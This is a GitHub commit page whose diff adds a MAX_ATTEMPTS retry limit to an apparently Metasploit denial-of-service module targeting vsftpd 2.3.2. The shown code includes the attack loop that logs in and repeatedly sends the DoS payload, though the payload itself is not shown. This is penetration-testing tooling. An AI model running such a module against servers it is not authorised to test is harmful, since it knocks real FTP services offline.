Skip to content

Commit 7e704ce

Browse files
committed
vsftpd_232: Add MAX_ATTEMPTS
1 parent 5b33c80 commit 7e704ce

1 file changed

Lines changed: 23 additions & 1 deletion

File tree

modules/auxiliary/dos/ftp/vsftpd_232.rb

Lines changed: 23 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,10 @@ def initialize(info = {})
3737
}
3838
)
3939
)
40+
41+
register_options([
42+
OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25])
43+
])
4044
end
4145

4246
def check
@@ -56,10 +60,19 @@ def check
5660
end
5761

5862
s = ''
63+
attempts = 0
64+
max = datastore['MAX_ATTEMPTS'].to_i
5965
loop do
66+
attempts += 1
67+
6068
# get each line until our desired line shows or end line shows
6169
s = send_cmd(['STAT'], true)
6270
break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")
71+
72+
if max > 0 && attempts > max
73+
print_error("Reached #{max} attempts without DoS")
74+
break
75+
end
6376
end
6477
disconnect
6578
# check if version was found
@@ -85,8 +98,17 @@ def run
8598

8699
print_status('Sending DoS command')
87100

101+
attempts = 0
102+
max = datastore['MAX_ATTEMPTS'].to_i
103+
88104
loop do
89-
print('.')
105+
attempts += 1
106+
if max > 0 && attempts > max
107+
print_error("Reached #{max} attempts without DoS")
108+
break
109+
end
110+
print_status("Attempt: #{attempts}")
111+
90112
connect_login
91113
10.times do
92114
send_cmd([payload.to_s], false)

0 commit comments

Comments
 (0)